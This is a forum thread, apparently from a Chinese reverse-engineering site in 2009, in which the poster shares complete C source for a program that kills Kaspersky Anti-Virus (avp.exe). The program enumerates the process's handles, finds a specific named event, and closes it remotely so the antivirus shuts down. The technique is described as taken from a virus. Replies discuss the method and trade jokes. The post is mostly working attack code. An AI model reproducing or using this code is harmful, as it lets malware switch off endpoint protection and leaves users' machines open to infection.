首页
社区
课程
招聘
[原创]kill kab
2009-7-6 16:21 8390

[原创]kill kab

2009-7-6 16:21
8390
之前看到的一个病毒使用方法,通过关闭卡巴的事件句柄,老方法吧(几个月前就听过)
逆了下这方法,代码如下:
(对 kav8 最新的版本有效吧,其它我没去试.)

// KillAvpByEventHandle.cpp : Defines the entry point for the console application.
//

#include "stdafx.h"

typedef struct _UNICODE_STRING {
	USHORT Length;
	USHORT MaximumLength;
#ifdef MIDL_PASS
	[size_is(MaximumLength / 2), length_is((Length) / 2) ] USHORT * Buffer;
#else // MIDL_PASS
	PWSTR  Buffer;
#endif // MIDL_PASS
} UNICODE_STRING, *PUNICODE_STRING;

typedef struct _SYSTEM_HANDLE_INFORMATION {
	ULONG ProcessId;
	UCHAR ObjectTypeNumber;
	UCHAR Flags;
	USHORT Handle;
	PVOID Object;
	ACCESS_MASK GrantedAccess;
} SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION;

typedef struct _OBJECT_NAME_INFORMATION {
	UNICODE_STRING Name;
} OBJECT_NAME_INFORMATION, *POBJECT_NAME_INFORMATION;

typedef long NTSTATUS;

#define SystemHandleInformation 16
#define ObjectNameInformation 1

#define STATUS_UNSUCCESSFUL ((NTSTATUS)0xC0000001L)
#define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xC0000004L)
#define STATUS_SUCCESS ((NTSTATUS)0x00000000L)

#define OB_TYPE_EVENT 8
#define OB_TYPE_EVENT_PAIR 9

typedef VOID (__stdcall *PRTLINITUNICODESTRING)(
												IN OUT PUNICODE_STRING  DestinationString,
												IN PCWSTR  SourceString
												);

typedef NTSTATUS (__stdcall *PZWQUERYSYSTEMINFORMATION)(
														ULONG SystemInformationClass,
														PVOID SystemInformation,
														ULONG SystemInformationLength,
														PULONG ReturnLength
														);

typedef NTSTATUS (__stdcall *PZWQUERYOBJECT)(
											 IN HANDLE ObjectHandle,
											 IN ULONG ObjectInformationClass,
											 OUT PVOID ObjectINformation,
											 IN ULONG ObjectInformationLength,
											 OUT PULONG ReturnLength OPTIONAL
											 );

//	获取非 system 用户的 avp.exe 进程 Id
DWORD GetNotSystemAvpProcess(IN const TCHAR *pszProcessName);

//	获取创建进程的用户名
BOOL GetProcessUserName(IN DWORD dwProcessId, OUT TCHAR *pszProcessUserName, IN DWORD dwUserNameLength);

//	获取事件句柄的类型
BOOL GetEventHandleType(OUT UCHAR *uObjectTypeNumber);

//	获取 HandleInformation Buffer(Call ZwQuerySystemInformation)
PVOID GetSystemHandleInformation(OUT DWORD *dwHandleCount);

//	获取对象名字字符串
PVOID GetObjectNameByHandle(IN HANDLE hObject);

PRTLINITUNICODESTRING pfnRtlInitUnicodeString = NULL;
PZWQUERYSYSTEMINFORMATION pfnZwQuerySystemInformation = NULL;
PZWQUERYOBJECT pfnZwQueryObject = NULL;

int _tmain(int argc, _TCHAR* argv[])
{
	HMODULE hLibrary = NULL;
	DWORD dwProcessId = -1;
	UNICODE_STRING unicodeObject;
	HANDLE hProcess = NULL, hTargetHandle = NULL;
	BOOL bRetValue = FALSE;
	UCHAR uObjectTypeNumber = -1;

	PVOID pHandleInfoBuffer = NULL;
	PSYSTEM_HANDLE_INFORMATION pHandleInfo = NULL;
	DWORD dwHandleCount = 0, dwIndex = 0;

	POBJECT_NAME_INFORMATION pObjectName = NULL;

	//	getchar();

	hLibrary = LoadLibraryEx(_T("ntdll.dll"), NULL, DONT_RESOLVE_DLL_REFERENCES);
	if ( NULL == hLibrary )
		goto Return;

	pfnRtlInitUnicodeString = (PRTLINITUNICODESTRING)GetProcAddress(hLibrary, "RtlInitUnicodeString");
 	pfnZwQuerySystemInformation = (PZWQUERYSYSTEMINFORMATION)GetProcAddress(hLibrary, "ZwQuerySystemInformation");
	pfnZwQueryObject = (PZWQUERYOBJECT)GetProcAddress(hLibrary, "ZwQueryObject");

 	if ( NULL == pfnRtlInitUnicodeString || NULL == pfnZwQuerySystemInformation || NULL == pfnZwQueryObject )
 		goto Return;

	pfnRtlInitUnicodeString(&unicodeObject, L"\\BaseNamedObjects\\6953EA60-8D5F-4529-8710-42F8ED3E8CDA");

	dwProcessId = GetNotSystemAvpProcess(_T("avp.exe"));
	if ( -1 == dwProcessId )
		goto Return;

	hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, dwProcessId);
	bRetValue = DuplicateHandle(GetCurrentProcess(), hProcess, GetCurrentProcess(), &hProcess, PROCESS_DUP_HANDLE, FALSE, 0);
	if ( FALSE == bRetValue )
		goto Return;

	if ( FALSE == (bRetValue = GetEventHandleType(&uObjectTypeNumber)) || -1 == uObjectTypeNumber )
		goto Return;

	pHandleInfoBuffer = GetSystemHandleInformation(&dwHandleCount);
	if ( NULL == pHandleInfoBuffer || 0 >= dwHandleCount )
		goto Return;

	pHandleInfo = (PSYSTEM_HANDLE_INFORMATION)((PUCHAR)pHandleInfoBuffer + 4);

	for ( dwIndex = 0; dwIndex < dwHandleCount; dwIndex ++ )
	{
		hTargetHandle = NULL;

		if ( dwProcessId != pHandleInfo->ProcessId || uObjectTypeNumber != pHandleInfo->ObjectTypeNumber )
			goto Loop;

		bRetValue = DuplicateHandle(hProcess, (HANDLE)pHandleInfo->Handle, GetCurrentProcess(), &hTargetHandle, 0, FALSE, DUPLICATE_SAME_ACCESS);
		if ( FALSE == bRetValue )
			goto Loop;

		if ( NULL == (pObjectName = (POBJECT_NAME_INFORMATION)GetObjectNameByHandle(hTargetHandle)) )
			goto Loop;

		if ( NULL != pObjectName->Name.Buffer && 0 < pObjectName->Name.Length )
		{
			if ( 0 == _wcsnicmp(unicodeObject.Buffer, pObjectName->Name.Buffer, unicodeObject.Length) )
			{
				bRetValue = DuplicateHandle(hProcess, (HANDLE)pHandleInfo->Handle, GetCurrentProcess(), NULL, 0, FALSE, DUPLICATE_CLOSE_SOURCE);
				if ( TRUE == bRetValue )
					break;
			}
		}

Loop:

		if ( NULL != pObjectName )
		{
			HeapFree(GetProcessHeap(), 0, pObjectName);
			pObjectName = NULL;
		}

		if ( NULL != hTargetHandle )
		{
			CloseHandle(hTargetHandle);
			hTargetHandle = NULL;
		}

		pHandleInfo++;
	}

Return:

	if ( NULL != pObjectName )
	{
		HeapFree(GetProcessHeap(), 0, pObjectName);
		pObjectName = NULL;
	}

	if ( NULL != pHandleInfoBuffer )
	{
		HeapFree(GetProcessHeap(), 0, pHandleInfoBuffer);
		pHandleInfoBuffer = NULL;
		pHandleInfo = NULL;
	}

	if ( NULL != hTargetHandle )
	{
		CloseHandle(hTargetHandle);
		hTargetHandle = NULL;
	}

	if ( NULL != hProcess )
	{
		CloseHandle(hProcess);
		hProcess = NULL;
	}

	if ( NULL != hLibrary )
	{
		FreeLibrary(hLibrary);
		hLibrary = NULL;
	}

	return 0;
}

//	获取非 system 用户的 avp.exe 进程 Id
DWORD GetNotSystemAvpProcess(IN const TCHAR *pszProcessName)
{
	DWORD dwProcessId = -1;
	HANDLE hProcessSnapshot = INVALID_HANDLE_VALUE;
	PROCESSENTRY32 struct_ProEntry;
	
	BOOL bRetValue = FALSE;
	TCHAR szProcessUserName[MAX_PATH] = {0};

	if ( NULL == pszProcessName )
		goto Return;

	hProcessSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
	if ( INVALID_HANDLE_VALUE == hProcessSnapshot )
		goto Return;

	ZeroMemory(&struct_ProEntry, sizeof(PROCESSENTRY32));
	struct_ProEntry.dwSize = sizeof(PROCESSENTRY32);

	if ( FALSE == (bRetValue = Process32First(hProcessSnapshot, &struct_ProEntry)) )
		goto Return;

	do 
	{
		if ( 0 == _tcsnicmp(pszProcessName, struct_ProEntry.szExeFile, _tcslen(pszProcessName)) )
		{
			bRetValue = GetProcessUserName(struct_ProEntry.th32ProcessID, szProcessUserName, MAX_PATH);
			if ( TRUE == bRetValue )
			{
				if ( 0 != _tcsnicmp(szProcessUserName, _T("system"), _tcslen(_T("system"))) )
				{
					dwProcessId = struct_ProEntry.th32ProcessID;
					goto Return;
				}
			}
		}

	} while( Process32Next(hProcessSnapshot, &struct_ProEntry) );

Return:

	if ( INVALID_HANDLE_VALUE != hProcessSnapshot )
	{
		CloseHandle(hProcessSnapshot);
		hProcessSnapshot = NULL;
	}			  

	return dwProcessId;
}

//	获取创建进程的用户名
BOOL GetProcessUserName(IN DWORD dwProcessId, OUT TCHAR *pszProcessUserName, IN DWORD dwUserNameLength)
{
	BOOL bRetResult = FALSE, bRetValue = FALSE;
	HANDLE hProcess = NULL, hProcessToken = NULL;
	DWORD dwReturnLength = 0;

	PTOKEN_USER pTokenUser = NULL;
	SID_NAME_USE enum_SidName;

	PVOID pUserName = NULL, pReferencedDomainName = NULL;
	DWORD dwchUserNameLength = 0, dwchReferencedDomainNameLength = 0;

	if ( 0 >= dwProcessId || NULL == pszProcessUserName || (0 >= dwUserNameLength || MAX_PATH < dwUserNameLength) )
		goto Return;

	hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, dwProcessId);
	if ( NULL == hProcess )
		goto Return;

	bRetValue = OpenProcessToken(hProcess, TOKEN_QUERY, &hProcessToken);
	if ( FALSE == bRetValue )
		goto Return;

	bRetValue = GetTokenInformation(hProcessToken, TokenUser, NULL, 0, &dwReturnLength);
	if ( FALSE != bRetValue || ERROR_INSUFFICIENT_BUFFER != GetLastError() )
		goto Return;

	pTokenUser = (PTOKEN_USER)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dwReturnLength);
	if ( NULL == pTokenUser )
		goto Return;

	bRetValue = GetTokenInformation(hProcessToken, TokenUser, pTokenUser, dwReturnLength, &dwReturnLength);
	if ( FALSE == bRetValue )
		goto Return;

	bRetValue = LookupAccountSid(NULL, pTokenUser->User.Sid, NULL, &dwchUserNameLength, 
								 NULL, &dwchReferencedDomainNameLength, &enum_SidName);
	if ( FALSE != bRetValue || ERROR_INSUFFICIENT_BUFFER != GetLastError() )
		goto Return;

	if ( dwchUserNameLength <= dwUserNameLength )
	{
		pUserName = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dwchUserNameLength);
		pReferencedDomainName = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dwchReferencedDomainNameLength);

		if ( NULL == pUserName || NULL == pReferencedDomainName )
			goto Return;

		bRetValue = LookupAccountSid(NULL, pTokenUser->User.Sid, (TCHAR *)pUserName, &dwchUserNameLength, 
									 (TCHAR *)pReferencedDomainName, &dwchReferencedDomainNameLength, &enum_SidName);
		if ( TRUE == bRetValue )
		{
			_tcsncpy_s(pszProcessUserName, dwUserNameLength, (TCHAR *)pUserName, dwchUserNameLength);

			bRetResult = TRUE;
		}
	}

Return:

	if ( NULL != hProcess )
	{
		CloseHandle(hProcess);
		hProcess = NULL;
	}

	if ( NULL != hProcessToken )
	{
		CloseHandle(hProcessToken);
		hProcessToken = NULL;
	}

	if ( NULL != pTokenUser )
	{
		HeapFree(GetProcessHeap(), 0, pTokenUser);
		pTokenUser = NULL;
	}

	if ( NULL != pUserName )
	{
		HeapFree(GetProcessHeap(), 0, pUserName);
		pUserName = NULL;
	}

	if ( NULL != pReferencedDomainName )
	{
		HeapFree(GetProcessHeap(), 0, pReferencedDomainName);
		pReferencedDomainName = NULL;
	}

	return bRetResult;
}

//	获取事件句柄的类型
BOOL GetEventHandleType(OUT UCHAR *uObjectTypeNumber)
{
	BOOL bRetResult = FALSE;
	HANDLE hEvent = NULL;
	PVOID pHandleInfoBuffer = NULL;
	PSYSTEM_HANDLE_INFORMATION pHandleInfo = NULL;
	DWORD dwHandleCount = 0, dwIndex = 0;

	if ( NULL == uObjectTypeNumber )
		goto Return;

	hEvent = CreateEvent(NULL, TRUE, TRUE, "TEST_EVENT");
	if ( NULL == hEvent )
		goto Return;

	pHandleInfoBuffer = GetSystemHandleInformation(&dwHandleCount);
	if ( NULL == pHandleInfoBuffer || 0 >= dwHandleCount )
		goto Return;

	pHandleInfo = (PSYSTEM_HANDLE_INFORMATION)((PUCHAR)pHandleInfoBuffer + 4);

	for ( dwIndex = 0; dwIndex < dwHandleCount; dwIndex ++ )
	{
		if ( GetCurrentProcessId() == pHandleInfo->ProcessId )
		{
			if ( (USHORT)hEvent == pHandleInfo->Handle )
			{
				*uObjectTypeNumber = pHandleInfo->ObjectTypeNumber;
				bRetResult = TRUE;

				break;
			}
		}

		pHandleInfo ++;
	}		

Return:

	if ( NULL != pHandleInfoBuffer )
	{
		HeapFree(GetProcessHeap(), 0, pHandleInfoBuffer);
		pHandleInfoBuffer = NULL;
		pHandleInfo = NULL;
	}

	if ( NULL != hEvent )
	{
		CloseHandle(hEvent);
		hEvent = NULL;
	}

	return bRetResult;
}

//	获取 HandleInformation Buffer(Call ZwQuerySystemInformation)
PVOID GetSystemHandleInformation(OUT DWORD *dwHandleCount)
{
	PVOID pReturnBuffer = NULL;
	NTSTATUS ntStatus = STATUS_UNSUCCESSFUL;
	ULONG uReturnLength = 0;

	if ( NULL == dwHandleCount || NULL == pfnZwQuerySystemInformation )
		goto Return;

	if ( NULL == (pReturnBuffer = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 1024)) )
		goto Return;

	ntStatus = pfnZwQuerySystemInformation(SystemHandleInformation, pReturnBuffer, 1024, &uReturnLength);
	if ( STATUS_INFO_LENGTH_MISMATCH != ntStatus )
		goto Return;

	if ( NULL != pReturnBuffer )
	{
		HeapFree(GetProcessHeap(), 0, pReturnBuffer);
		pReturnBuffer = NULL;
	}

	if ( NULL == (pReturnBuffer = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, uReturnLength)) )
		goto Return;

	ntStatus = pfnZwQuerySystemInformation(SystemHandleInformation, pReturnBuffer, uReturnLength, &uReturnLength);
	if ( STATUS_SUCCESS != ntStatus )
		goto Return;

	*dwHandleCount = *(PULONG)pReturnBuffer;

Return:

	return pReturnBuffer;
}

//	获取对象名字字符串
PVOID GetObjectNameByHandle(IN HANDLE hObject)
{
	PVOID pReturnBuffer = NULL;
	NTSTATUS ntStatus = STATUS_UNSUCCESSFUL;
	ULONG uReturnLength = 0;

	if ( NULL == hObject )
		goto Return;

	ntStatus = pfnZwQueryObject(hObject, ObjectNameInformation, pReturnBuffer, 0, &uReturnLength);
	if ( STATUS_INFO_LENGTH_MISMATCH != ntStatus )
		goto Return;

	if ( NULL == (pReturnBuffer = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, uReturnLength)) )
		goto Return;

	ntStatus = pfnZwQueryObject(hObject, ObjectNameInformation, pReturnBuffer, uReturnLength, &uReturnLength);
	if ( STATUS_SUCCESS != ntStatus )
	{
		if ( NULL != pReturnBuffer )
		{
			HeapFree(GetProcessHeap(), 0, pReturnBuffer);
			pReturnBuffer = NULL;
		}
	}

Return:

	return pReturnBuffer;
}


[CTF入门培训]顶尖高校博士及硕士团队亲授《30小时教你玩转CTF》,视频+靶场+题目!助力进入CTF世界

上传的附件:
收藏
点赞7
打赏
分享
最新回复 (9)
雪    币: 63
活跃值: (17)
能力值: ( LV8,RANK:130 )
在线值:
发帖
回帖
粉丝
nevergone 3 2009-7-6 17:18
2
0
不用逆了,我有公布源代码
去翻老帖
雪    币: 221
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
菊冬 2009-7-6 18:35
3
0
当你遇到一个对你来说"新"的东西,要充分利用搜索引擎,先详细了解之.

若发现有价值而网上没有公开代码细节,再开始逆,比如楼上几百万年前就放过的代码,你应该能搜到的,哎...
雪    币: 635
活跃值: (101)
能力值: ( LV12,RANK:420 )
在线值:
发帖
回帖
粉丝
qihoocom 9 2009-7-7 10:59
4
0
实际这个病毒的寻找方法比较挫,直接obj dir就可以找到了嘛
雪    币: 722
活跃值: (123)
能力值: ( LV12,RANK:300 )
在线值:
发帖
回帖
粉丝
轩辕小聪 7 2009-7-7 17:34
5
0
看到题目kill kab,正纳闷kab是什么,进来一看原来是kav
雪    币: 375
活跃值: (12)
能力值: ( LV8,RANK:130 )
在线值:
发帖
回帖
粉丝
xPLK 3 2009-7-7 23:22
6
0
KA  Ba
卡  巴
雪    币: 63
活跃值: (17)
能力值: ( LV8,RANK:130 )
在线值:
发帖
回帖
粉丝
nevergone 3 2009-7-8 14:56
7
0
关键是要让avp进程关闭那个event,avp才会退出
光找到没用,并且是考虑不用驱动
雪    币: 220
活跃值: (626)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
dayang 2009-7-8 18:40
8
0
怎么没VC6.0的?都用上VS2005了?
雪    币: 284
活跃值: (16)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
jerrynpc 2009-7-8 22:44
9
0
支持伟哥,可惜kab有点太省略了。应该是 KABA 我还以为《kill bill 3》上映了~(*^__^*) 嘻嘻……
大概看了下楼主的代码,有点太温柔了。
我比较喜欢很黄很暴力那种·
比如psxxx系列?
我很菜,说的都是废话。大牛飘过~
雪    币: 166
活跃值: (193)
能力值: ( LV10,RANK:170 )
在线值:
发帖
回帖
粉丝
猪头三 3 2009-7-9 00:09
10
0
原来360专家的评论那么挫,都不知道人家想要表达什么。
不要见怪,你确实很挫,为什么呢? 因为你很丑。上帝是公平的。
游客
登录 | 注册 方可回帖
返回